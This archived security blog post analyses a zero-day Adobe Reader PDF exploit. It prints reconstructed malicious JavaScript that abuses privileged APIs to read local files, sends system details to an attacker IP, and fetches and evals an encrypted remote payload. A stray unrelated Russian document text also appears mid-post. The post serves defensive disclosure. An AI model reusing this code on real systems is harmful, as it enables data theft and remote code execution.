

EXPMON detected sophisticated zero-day fingerprinting attack targeting Adobe Reader users

EXPMON detected sophisticated zero-day fingerprinting attack targeting Adobe Reader users - Haifei, justhaifei1.blogspot.com.

- Published: date not stated
- Original: <<https://justhaifei1.blogspot.com/2026/04/expmon-detected-sophisticated-zero-day-adobe-reader.html>>
- Preserved from: <https://justhaifei1.blogspot.com/2026/04/expmon-detected-sophisticated-zero-day-adobe-reader.html> (live) on 2026-09-18
- Licence: unknown

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Content

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Executive Summary

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The EXPMON system detected a highly-sophisticated PDF exploit targeting Adobe Reader users.

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Based on our analysis, the sample acts as an initial exploit with the capability to collect and leak various types of information, potentially followed by remote code execution (RCE) and sandbox escape (SBX) exploits. It abuses zero-day/unpatched vulnerability in Adobe Reader that allows it to execute privileged Acrobat APIs, and it is confirmed to work on the latest version of Adobe Reader.

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Specifically, it calls the "util.readFileIntoStream()" API, allowing it to read arbitrary files (accessible by the sandboxed Reader process) on the local system. In this way, it can collect a wide range of information from the local system and steal local file data.

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The "RSS.addFeed()" API is called to serve two purposes: sending the information collected from the local system to a remote server and receiving additional JavaScript code to be executed.

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Such a mechanism allows the threat actor to collect user information, steal local data, perform advanced "fingerprinting", and launch future attacks: if the target meets the attacker's conditions, the attacker may deliver additional exploit to achieve RCE or SBX.

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However, during our tests, we were unable to obtain the said additional exploit - the server was connected but no response. This could be due to various reasons - for example, our local testing environments may not have met the attacker's specific criteria.

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Nevertheless, this zero-day/unpatched capability for broad information harvesting and the potential for subsequent RCE/SBX exploitation is enough for the security community to remain on high alert. This is why we have chosen to publish these findings immediately so users can stay vigilant. We will also share this blog post with Adobe Security.

The story of the detection

Just few weeks ago, on March 26, someone submitted a PDF sample on EXPMON. The sample, while named as "yummy_adobe_exploit_uwu.pdf" by the submitter*, triggered one of EXPMON's advanced "detection in depth" features. You can check out the original submission here:

<https://pub.expmon.com/analysis/328131/>

The sample is also on VirusTotal since March 23, with currently a low 5/64 detection, as you can find out [here](#).

**EXPMON doesn't collect any information regarding the submitter and we don't know who submitted the sample.*

File Object 1	
MD5	1929da3ef904efb8c940679045452321
SHA1	7f3c6f97612dd0a018797f99fad4df754e5feb35
SHA256	65dca34b04416f9a113f09718cbe51e11fd58e7287b7863e37f393ed4d25dde7
File Type	pdf
Page Count	1
Analysis Start Time	2026-03-26T02:28:36
Analysis Finish Time	2026-03-26T02:33:47
Object Detection Result	Informational
Object Detection Detail	the pdf may produce suspicious activity, please check (this is result of an experimental detection-in-depth feature, fp may well exist, reporting fp welcome)
Tested Env Count	3
Tested Env 1	winx64(update20250816)_reader(2023.006.20320)[acrobatreader]
Indicators	*indicator redacted in expmon public*
	indicator redacted in expmon public
	indicator redacted in expmon public
Tested Env 2	winx64(update20250816)_wps(12.2.0.21931)[wps_pdf]
Tested Env 3	winx64(update20250816)_foxitreader(2025.2.0.33046)[foxitreader]

You can see the sample was detected as the following, in the "winx64(update20250816)_reader(2023.006.20320)[acrobatreader]" env.

Informational - "the pdf may produce suspicious activity, please check (this is result of an experimental detection-in-depth feature, fp may well exist, reporting fp welcome)"

For those who are not familiar with EXPMON's strategy to combat advanced zero-day or unknown exploits, let me try to explain it in more detail. EXPMON identifies "bad samples" through three processes:

- The first is when the system reports a threat immediately on the UI or via the Web APIs. In this case/sample, the system successfully flagged the sample as suspicious and requested a manual analysis. This is the ideal and fastest method of detection.
- The second is that admins (for EXPMON Public, that's me) can check the detection logs on the Controller, or if you are just an analyst you can examine the Indicators displayed on the UI/Web APIs - even if the high-level Detection Result is still labeled as "Undetected". These logs and Indicators contain much more granular information, allowing analysts to uncover sophisticated exploits that the automated system may not have flagged immediately. While this manual review could be fast, it does require dedicated manpower and deep domain knowledge.
- The final approach to finding true advanced zero-day or unknown exploits is what I call the "Big Data Analytics" (BDA) process. Thanks to the architecture of the EXPMON system, we are able to perform meaningful Big Data Analytics across millions of logs. In this process, we may find abnormalities or threats missed during the previous two processes and learn how to improve our Detection Logic. This is a powerful way of threat hunting; however, it involves significant manual analysis and usually requires a lot of time.

This "detection in depth" feature triggered by this particular sample is a very advanced detection capability I specifically developed for Adobe Reader. It is designed to counter the complexity and flexibility of Acrobat's PDF JavaScript engine. While I prefer not to disclose the full details of how this feature works yet (as noted by the redacted indicator names in the public version) - the reason is obvious - for detection purposes, a trigger of this nature already warrants a manual analysis. If you are an EXPMON user and see a sample detected in this manner, you should perform an in-depth manual analysis and proceed with caution.

Manual analysis of the sample

Recently, I haven't been reviewing the logs or performing BDA on the data collected by EXPMON Public as often - I've been quite busy with my other project which is about "fuzzing Office at scale". However, this week, while planning to perform a long-overdue BDA, this sample caught my eye immediately because it triggered the Acrobat "detection-in-depth" feature! So I decided to perform a manual analysis of this sample, and I quickly hit a "wow" moment - it turns out this one is highly sophisticated. First, it attempts to execute JavaScript within object 9; as you can see in the image below, the JS code is heavily obfuscated.

[[image: image]]

(<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikILzP3DbRS3GfIPnvsuZiSbMjfJlk0opJcGXHYTJeuXvd0bgFmJoMG0kb97tw-KvCzAPCljPOXOk8DXlojZTLt0XgfK9Ed52z8vB4ZFg47oNmGjAU->

The following are some readable, clean code blocks generated by AI based on the obfuscated code. Please note that in my experience, this AI-generated code only helps you quickly understand at a high level what the malicious code is doing; it is not the same as the actual, working de-obfuscated JavaScript. Keep that in mind.

The start, calling “RSS.addFeed()” API in a privileged way.

```
// Initialize the attack
function startup() {
  try {
    global.exec(RSS, RSS.removeFeed, [dog1]);
  } catch (e) {}
  try {
    global.exec(RSS, RSS.removeFeed, [dog2]);
  } catch (e) {}
  try {
    global.exec(RSS, RSS.addFeed, [{'cURL': dog2, 'bPersistent': false, 'cType': 'JS'}]);
  } catch (e) {}
  try {
    global.exec(RSS, RSS.addFeed, [{'cURL': dog1, 'bPersistent': false, 'cType': 'JS'}]);
  } catch (e) {}

  global.pig0 = app.setInterval('check()', 500);
}

startup();
```

The URL parameters for the “RSS.addFeed()” call.

[[image: image]]

(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNq3cPtPImUbTnfyPoCS2Kaf_H00BymN0znE1DDVTcf4qELyP6-OkZGkX6abziM7svMp6HfkZMPeUu9omqhhxZor3-4pRLYBZFyri5wgijRSx-ow3v7Ks2-tD6su7qwInkLp_FoUNEtaW5cJ4UbEBEoZpwtA5vDGjassmByA2oCXPNe9t01QVDwGPI/s1184/6.png)

Note that the script collects various information from the local system, including language settings, the Adobe Reader version number, the exact OS version, and the local path of the PDF file. It then sends all of this data as part of the URL to the remote server. The server address is “**169.40.2.68:45191**”.

It can even read local files by calling the privileged “util.readFileIntoStream()” API. The following abstract code reads data from the ntdll.dll file and calculates the exact OS version number from it. This is particularly useful for future exploitation.

```
global.getProdVersionString = function() {
  var final_product_string = '';
  try {
    app.beginPriv();
    var stream = util.readFileIntoStream('/c/Windows/System32/ntdll.dll', false);
    app.endPriv();

    var data = stream.read(10 * 1024 * 1024 * 2);
    var prod_version_str = '500072006F006400750063007400560065007200730069006F006E00'.toLowerCase();
    var prod_version_offset = data.indexOf(prod_version_str);

    // Extract version information from PE file
    var b1 = data.substring(prod_version_offset - 12 + 2, prod_version_offset - 12 + 4);
    var b2 = data.substring(prod_version_offset - 12, prod_version_offset - 12 + 2);
    var container_len = parseInt(b1 + b2, 16);
    var prod_version_data = data.substring(prod_version_offset - 12, prod_version_offset - 12 + container_len * 2);
    var prod_version = prod_version_data.split(prod_version_str)[1];

    final_product_string = '';
    for (var x = 0; x < prod_version.length; x += 2) {
      var c = prod_version.substring(x, x + 2);
      if (c === '00') continue;
      final_product_string += String.fromCharCode(parseInt(c, 16));
    }
  } catch (e) {}
  return final_product_string;
};
```

When/if it successfully obtains the returned JavaScript from the remote, attacker-controlled server (via the "RSS.addFeed()" API), it even utilizes cryptography to decrypt the payload, specifically to evade network-based detection I'd guess.

```
// Main payload execution function
function check() {
    if (global.bird1 != undefined && global.bird0 != undefined) {
        app.clearInterval(global.pig0);
        global.tmp1 = eval('this');

        // Decrypt the payload using AES-CTR
        var encryptedBytes = aesjs.utils.hex.toBytes(global.bird1);
        var aesCtr = new aesjs.Ctr(global.bird0, new aesjs.Counter(1));
        var decryptedBytes = aesCtr.decrypt(encryptedBytes);

        var decryptedText = '';
        for (var i = 0; i < decryptedBytes.length; i++) {
            decryptedText += String.fromCharCode(decryptedBytes[i]);
        }

        global.swConn = undefined;
        global.bird1 = undefined;

        // Decompress and execute the final payload
        global.final_js = zip_inflate(decryptedText);
        global.s11 = app.setTimeout('eval(global.final_js);', 500);
        global.s12 = app.setTimeout('removeFeeds();', 2000);
    } else {
        global.tmp2 += 1;
        if (global.tmp2 > 80) {
            app.clearInterval(global.pig1);
            try {
                global.exec(RSS, RSS.removeFeed, [dog1]);
            } catch (e) {}
            try {
                global.exec(RSS, RSS.removeFeed, [dog2]);
            } catch (e) {}
        }
    }
}
```

Testing the sample

With all the previous understandings of the abstract code, we can now do real-world testing and analysis. Please note that the previous static analysis (aided by AI) only produced abstract code - while this may help you understand the general behaviors, really, you need to do some real, dynamic tests in real environments to confirm anything.

I tested the sample on the latest version of Adobe Reader (26.00121367), and it still worked. Therefore, the initial exploit we detected - which collects local information and sends it to a remote server - remains a zero-day/unpatched vulnerability as of this writing.

[\[image: image\]](#)

The attacker-controlled server was still online at the time of testing - as you could see in the above image, it got connected. However, it did not deliver the potential RCE/SBX exploit indicated in the sample. This could be due to several factors: for instance, the attacker's server might have "blocked" my IP address, or perhaps I needed to provide specific local information to satisfy the server's conditions. This strongly resembles an advanced fingerprinting attack.

I even went farther..

- Find text or tools

64

Print

Share

Warning: JavaScript Window -

inside the JS returned from the server!

OK

ДОВЕРЕННОСТЬ (ПОЛНОМОЧИЕ)

Регистрационный номер: А10ВС77

Уполномоченное лицо:
Петров Сергей Викторович

Адрес: Велотрек, ул. Крылатская, 10, Москва, Россия, 121552

Права уполномоченного лица:
Уполномоченное лицо имеет право управлять вышеуказанным транспортным средством и перевозить груз, а также выполнять все необходимые действия, связанные с эксплуатацией автомобиля и доставкой груза.

Описание груза:

Тип: краски и промышленные грунтовки для металла

Количество: 1000 кг

-
- The screenshot shows the packet details pane in Wireshark. The selected packet is an HTTP GET request. The details are as follows:
- GET**: /s=89504e47ed0a1a0a000000d494844520000004000000040000000aa6971de000000097048597300000b1300000b1301009a9c18000000017352474200aece1ce90000000467414d410000018f0bfcc6105000003c3494441547801ed9b8d55db3010c72f5da07482ba134027c01b940d9a0de806b0017402870980091c26 HTTP/1.1
 - Accept**: */*
 - User-Agent**: Mozilla/3.0 (compatible; Adobe Synchronizer 26.1.21367)
 - Host**:
 - Connection**: Keep-Alive
-
- The packet bytes pane shows the raw data of the request:
- ```
HTTP/1.1 200 OK
Date:
Server:
Last-Modified:
ETag:
Access-Control-Allow-Origin: *
Content-Type: application/javascript

app.alert("inside the JS returned from the server!");
```

## Conclusions

In this blog post, we shared an EXPMON detection and our analysis of a highly sophisticated, fingerprinting-style PDF exploit targeting Adobe Reader users. This "fingerprinting" exploit has been confirmed to leverage a zero-day/unpatched vulnerability that works on the latest version of Adobe Reader without requiring any user interaction beyond opening a PDF file. Even more concerning, this exploit allows the threat actor to not only collect/steal local information but also potentially launch subsequent RCE/SBX attacks, which could lead to full control of the victim's system.

For defense, we will notify Adobe Security immediately about our findings. We hope they can patch the zero-day vulnerabilities exploited in this initial attack as soon as possible. We recommend that Adobe Reader users remain vigilant regarding PDF files sent by untrusted parties until an official patch is available.

For detection, If you have security products in place, you may also block and monitor the attacker-controlled IP address found in this sample – the `*169.40.2.68:45191 *` – but keep in mind that this will not stop other variants using different infrastructure. A better approach is to look at all http/https traffic which have the "Adobe Synchronizer" string in the User Agent field.

If you encounter suspicious PDF samples, you may consider submitting them to EXPMON Public (<https://pub.expmon.com>). As we discussed, the EXPMON system employs highly advanced "detection-in-depth" features to combat sophisticated PDF zero-day exploits like this one. If you see a detection similar to this, you must be extremely careful, as it could be a new variant. The EXPMON system is designed to detect such variants without requiring any signature updates.

Finally, if you are interested in further collaborations against advanced zero-day or unknown exploits – for example, if your samples cannot be shared publicly – please reach out to [contact@expmon.com](mailto:contact@expmon.com). You can also follow EXPMON updates on Twitter/X at [https://x.com/EXPMON\\_](https://x.com/EXPMON_).

**[Update on April 8] A new variant was found today by @greglesnewich. I've confirmed this finding, it connects to IP address `**188.214.34.20:34123`.** This sample appeared on VT on 2025-11-28, showing that this 0day/APT campaign has been ongoing for at least 4 months.

### **[Update on April 11]**

Adobe has confirmed our findings and has issued an emergency security update for all Adobe Reader (and other affected products) users.

<https://helpx.adobe.com/security/products/acrobat/apsb26-43.html>

The underlying exploited zero-day vulnerability has been rated Critical (CVSS 8.6) and is tracked as CVE-2026-34621. It appears that Adobe has determined the bug can lead to arbitrary code execution - not just an information leak. This aligns with our findings and those of other security researchers over the last few days.

EXPMON would like to thank Adobe for releasing this emergency security update quickly to help protect users. We highly recommend that users to apply the official patch/update as soon as possible.

### **[Update on April 12]**

Adobe has informed us that they previously made a mistake with the CVSS score and have now corrected it to 8.6. This reflects the fact that the vulnerability is triggered via a local file-opening attack vector. Please note that this does not reduce the urgency of the issue and users should continue to apply the patch as soon as possible in order to prevent potential attacks.

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